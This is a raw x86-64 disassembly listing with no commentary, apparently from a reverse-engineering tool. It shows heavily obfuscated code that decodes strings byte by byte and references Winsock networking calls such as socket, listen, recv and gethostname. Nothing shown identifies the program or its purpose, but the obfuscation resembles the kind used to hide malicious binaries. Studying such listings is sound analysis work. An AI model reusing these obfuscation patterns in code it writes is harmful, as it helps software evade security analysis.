movabs rdx, 0x4247cdc3dc2d244c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x14011ad88
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14011ad55
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r10 + 0x6f0], bl
jmp 0x14011b3e6
movabs rdx, 0x9682c6ba1376f89e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x14011aef9
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14011aeb1
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011ae85
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011b3d7
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14011b383
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011b327
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x14011b242
movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x14011b1e2
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14011ac0e
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x14011b300
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14011afee
movabs rdx, 0xc1a100b078b287a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x14011b2b4
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x14011af30
lea rdx, [r10 + rsi]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [rdi + r11]
cmp rax, 6
je 0x14011b1e7
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x14011b005
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 0x40
jae 0x14011b192
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x14011b0d2
movabs rdx, 0xe41f9575967bc6dc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
add bl, dl
cmp r11, 0x1000
jb 0x14011ace0
movabs rdx, 0xf00e4fc4381099b4
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14011b2b6
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011af5c
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x34
jmp 0x14011b3d7
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14011af79
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x14011ad9e
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011afa8
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011b1e2
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011afd2
movabs rdx, 0x52397dffa41c8a98
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
jmp 0x14011b1b6
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011ae87
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011b2da
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011b02f
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x14011b2b4
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011b059
movabs rdx, 0xcf9135f5ad74a436
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7a
jmp 0x14011b1b6
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011b076
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14011af91
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011b0a2
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x42
jmp 0x14011b242
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14011aec3
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x14011b3d7
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011b0fe
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x14011b3d7
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011b128
movabs rdx, 0x14d9a26c6f53950
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x14011b327
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14011b145
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14011af91
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14011b162
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14011b2ee
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011aefb
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x14011b2da
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r10 + 0x6f0]
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
add cl, bl
mov byte [rbp + r10 + 0x6f0], cl
add rdi, r11
jmp 0x14011b242
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x6f0]
jmp 0x14011adab
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14011ad9e
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011b3e6
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x14011b300
movabs rdx, 0x9a85bca739d18c12
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7e
jmp 0x14011b2b4
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r9b
mov byte [rbp + r10 + 0x6f0], cl
inc r11
jmp 0x14011b300
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
dec r10
jmp 0x14011b3e6
mov r9, r8
movabs rdx, 0xf7605aceb88db032
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x6f0], al
inc r11
add rax, r11
sub r10, rax
jmp 0x14011b383
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9b, r8b
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x18
add cl, r9b
mov byte [rbp + r10 + 0x6f0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14011b3d7
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x6f0]
add rax, r11
add r10, rax
inc r10
jmp 0x14011a89f
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011a89c
lea rdx, [r10 + r14]
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011a88c
lea rdx, [rbp + 0x1598298]
jmp 0x14011b44a
lea rdx, [rbp + 0x16dc056]
jmp 0x14011b44a
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x380]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x15b0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011b47f
mov rdx, qword [rbx]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x15b0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x15b0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x15b0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xb30], 0xe3
mov byte [rbp + 0xb31], 0xad
mov byte [rbp + 0xb32], 0xec
mov byte [rbp + 0xb33], 0xab
mov byte [rbp + 0xb34], recv
mov byte [rbp + 0xb35], 0xa9
mov byte [rbp + 0xb36], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xb37], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xb38], 0x3d
mov byte [rbp + 0xb39], __WSAFDIsSet
mov byte [rbp + 0xb3a], 0
mov byte [rbp + 0xb3b], __WSAFDIsSet
mov byte [rbp + 0xb3c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb3d], __WSAFDIsSet
mov byte [rbp + 0xb3e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb3f], 0x9f
mov byte [rbp + 0xb40], 7
mov byte [rbp + 0xb41], 0x9d
mov byte [rbp + 0xb42], 5
mov byte [rbp + 0xb43], 0x9b
mov byte [rbp + 0xb44], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb45], 0x99
mov byte [rbp + 0xb46], Ordinal_46
mov byte [rbp + 0xb47], 0x87
mov byte [rbp + 0xb48], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xb49], 0x85
mov byte [rbp + 0xb4a], Ordinal_217
mov byte [rbp + 0xb4b], 0x83
mov byte [rbp + 0xb4c], 0x3d
mov byte [rbp + 0xb4d], 0x81
mov byte [rbp + 0xb4e], Ordinal_50
mov byte [rbp + 0xb4f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb50], Ordinal_46
mov byte [rbp + 0xb51], Ordinal_143
mov byte [rbp + 0xb52], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb53], Ordinal_143
mov byte [rbp + 0xb54], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb55], Ordinal_143
mov byte [rbp + 0xb56], 0x64
mov byte [rbp + 0xb57], 0xf7
mov byte [rbp + 0xb58], 0x5c
mov byte [rbp + 0xb59], 0xf5
mov byte [rbp + 0xb5a], 0x62
mov byte [rbp + 0xb5b], 0xf3
mov byte [rbp + 0xb5c], 0xaa
mov byte [rbp + 0xb5d], 0xf1
mov byte [rbp + 0xb5e], 0xa2
mov byte [rbp + 0xb5f], 0xff
mov byte [rbp + 0xb60], 0xae
mov byte [rbp + 0xb61], 0xfd
mov byte [rbp + 0xb62], 0x57
mov byte [rbp + 0xb63], 0xfb
mov byte [rbp + 0xb64], 0x60
mov byte [rbp + 0xb65], 0xf9
mov byte [rbp + 0xb66], Ordinal_79
mov byte [rbp + 0xb67], 0xe7
mov byte [rbp + 0xb68], 0xb6
mov byte [rbp + 0xb69], 0xe5
mov byte [rbp + 0xb6a], 0x77
mov byte [rbp + 0xb6b], 0xe3
mov byte [rbp + 0xb6c], 0x7d
mov byte [rbp + 0xb6d], 0xe1
mov byte [rbp + 0xb6e], 0x47
mov byte [rbp + 0xb6f], 0xef
mov byte [rbp + 0xb70], 0xec
mov byte [rbp + 0xb71], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb72], xmm0
mov qword [rbp + 0xb82], rax
mov byte [rbp + 0xb8a], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0xfa317cbfea226b1a
movabs r14, 0x752d634cf9cce4e
movabs r12, 0x3c16e471d25172dc
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x5b
jae 0x14011c260
movzx r9d, byte [rbp + r10 + 0xb30]
mov r8, r9
cmp rdi, r10
ja 0x14011c257
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14011b71d
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x14011b757
je 0x14011c1da
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011c14f
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14011c119
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14011c0d0
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011c0a8
cmp r11, r10
ja 0x14011c24e
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x14011b77d
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14011b964
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14011c065
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011c046
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011c024
lea rax, [r11 + 7]
cmp rdi, rax
je 0x14011c002
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14011bcf1
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14011bccf
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14011bca9
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x14011bc87
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14011bc65
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14011bc51
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011bc2f
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011bc0b
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14011bbe8
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x14011bbd4
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14011b7be
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x14011c235
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x14011c20f
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14011b99d
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14011b97b
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x14011b955
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x14011bb44
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x14011bb23
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x14011bad4
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14011bab1
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x14011ba90
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x14011ba7c
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x14011ba59
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14011ba33
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14011ba12
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14011b9fe
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x14011b9e4
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14011b9c3
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14011b7be
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x14011b7be
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011b7b1
movabs rcx, 0xe47bc2b44c6b50ea
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x66
jmp 0x14011b757
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011b6ef
movabs rdx, 0x3079ddf1a6964910
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x14011be26
lea rcx, [r10 + r12]
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 4
jmp 0x14011c0c5
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14011be45
movabs rdx, 0x5350f17229c7c674
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
jmp 0x14011bd99
movabs rdx, 0x5eedf7f25582f040
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011c13a
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x54
jmp 0x14011c13d
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x14011bd5a
movabs rdx, 0x81c50b72d8b46da4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x14011bc04
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x10
jmp 0x14011c1f8
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x16
add bl, dl
cmp r11, 0x41
jb 0x14011bf9e
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x14011c082
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011bb99
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x14011bfd9
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x14011bdfe
movabs rdx, 0x9dcab9baca338532
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
cmp rdi, 3
jae 0x14011bfab
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x14011bee2
movabs rcx, 0x23d9f578ff064e54
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x14011baf2
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14011bd2f
movabs rdx, 0x2ff86cf568abe098
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
add bl, dl
jmp 0x14011c1a3
movabs rdx, 0x3b95737594670a64
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011c171
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x14011c13d
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14011c128
movabs rcx, 0x5e6c86f6179887c8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x14011c0ed
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x14011c0c8
movabs rdx, 0x75a693f66f0edb60
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011c0c5
movabs rcx, 0x81439a769aca052c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x34
jmp 0x14011c082
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x14011bd17
lea rdx, [r10 + rsi]
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011bb62
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011bd46
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011c1f8
cmp rdi, rcx
jne 0x14011bd71
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011c173
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011bda0
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011c0ed
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14011bdcb
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x14011c0c8
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011bb62
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011c0c5
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011be2d
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011c082
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011be5c
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011c0c8
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011be87
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x14011c13a
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011beb2
movabs rcx, 0x4c7f8c399815609e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
jmp 0x14011c173
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14011bb9b
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x2a
jmp 0x14011c1f8
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011beff
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14011bd2f
cmp rdi, rcx
jne 0x14011bf26
movabs rcx, 0xc9fe878a78ffabc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x14011c1a3
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011bf52
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x14011c13a
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011bf6f
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14011bde7
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14011baf2
movabs rcx, 0xbb54baf77571d628
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14011c082
mov byte [rbp + r10 + 0xb30], bl
jmp 0x14011c207
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0xb30]
add bl, dl
add bl, r9b
jmp 0x14011c0ed
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0xb30]
sub bl, 0x5c
jmp 0x14011c171
movabs rcx, 0x292707bcd6f97ac2
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4e
jmp 0x14011c1a3
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x76
jmp 0x14011c13d
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x14011c0c8
movabs rcx, 0x7a72353e09179f56
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5a
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r9b
mov byte [rbp + r10 + 0xb30], cl
jmp 0x14011c0c5
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
inc r11
dec r10
jmp 0x14011c207
movabs rcx, 0xb48355bee3bf7052
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
movabs rcx, 0x9e4c2ab7081dedaa
add rcx, r10
mov al, cl
and al, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
add dl, dl
add dl, cl
